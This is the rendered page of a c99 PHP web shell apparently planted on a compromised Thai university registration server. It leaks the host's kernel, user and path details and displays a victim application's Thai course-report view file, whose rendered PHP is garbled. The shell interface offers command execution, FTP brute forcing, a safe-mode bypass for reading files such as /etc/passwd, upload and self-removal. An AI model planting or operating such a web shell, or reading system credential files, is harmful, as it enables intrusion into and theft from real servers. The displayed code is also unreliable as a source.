!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_countCrsByCoRdTt.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
    
// create : by sitthichai
    // date : 2014-12-02
    
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><fieldset>
            <legend align="center"><span class="h" style="color:<?php echo $font_color_err;?>">รายงานการจัดการเรียนการสอน</span></legend>
            <div align="center"><br><table class="szone">
            <?php //$frow = $rs->row(); ?>
            <tr>
                <td >
            <?php echo form_open($this->config->item("rg_folder")."popup/countCrsByCoRdTt", array("name" => "myform""id" => "myform"));?>
                <table  class="szone">
                    <tr><th>ปีการศึกษา</th><td><?php echo form_dropdown('acy'$acy_arr );//echo $frow->coAcY;?></td>
                    <th >ภาคการศึกษาที่ </th><td><?php echo form_dropdown('tm'$tm_arr );//echo $frow->coTmId;?></td>
                    <th ><input type="submit" name="btnSubmit" value="ค้นหา" /> </th>
                    </tr>
                </table ></td>
            </tr>

                <tr>
                <td colspan="2">
                    <table class="tb_1">
                        <tr>
                            <th rowspan="2">ชั้นปีที่</td>
                            <th colspan="3"><span>จำนวนรายวิชาที่</span></td>
                        </tr>
                        <tr>
                            <th ><span>เปิดสอน</span></td>
                            <th ><span>ลงทะเบียน</span></td>
                            <th ><span>จัดตารางสอน</span></td>
                        </tr>
        <?php    $scrs 0;$srd 0;$stt 0;
                foreach(
$rs_cur->result() as $row_cur){ ?>
                        <tr bgColor="#D8D8D8"><td colspan="4"><?php echo $row_cur->curName;?></td></tr>
                    <?php    
                        
foreach ($rs[$row_cur->curId]->result() as $row) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
                            
$scrs += $row->numCrs;
                            
$srd += $row->numRdCrs;
                            
$stt += $row->numTtCrs;
                    
?>
                            <td align="center"><span><?php echo $row->coSyId;?></span></td>
                            <td align="center">
                            <span class="hand" onClick="sendPost('stdSstId',{sy:'<?php echo $row->coSyId;?>', cur:'<?php echo $row_cur->curId;?>', acy:'<?php echo $row->coAcY;?>', tm:'<?php echo $row->coTmId;?>'} ,
                             '<?php echo site_url($this->config->item('rg_folder').'popup/countCrsByCoRdTt2');?>', {width:800,height:500})" /><font size="2"><?php echo $row->numCrs;?></font></span>
                             </td>
                             <td align="center"><font size="2"><?php echo $row->numRdCrs;?></font>
                             </td>
                             <td align="center"><font size="2"><?php echo $row->numTtCrs;?></font>
                             </td>
                        <?php echo "</tr>"; }    ?>
            <?php ?>
                    <tr><th >รวม</th>
                    <th ><?php echo $scrs?></th>
                    <th ><?php echo $srd?></th>
                    <th ><?php echo $stt?></th></tr>
                    </table>
                </td>
                </tr>

            </table>
            </div>
        </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0093 ]--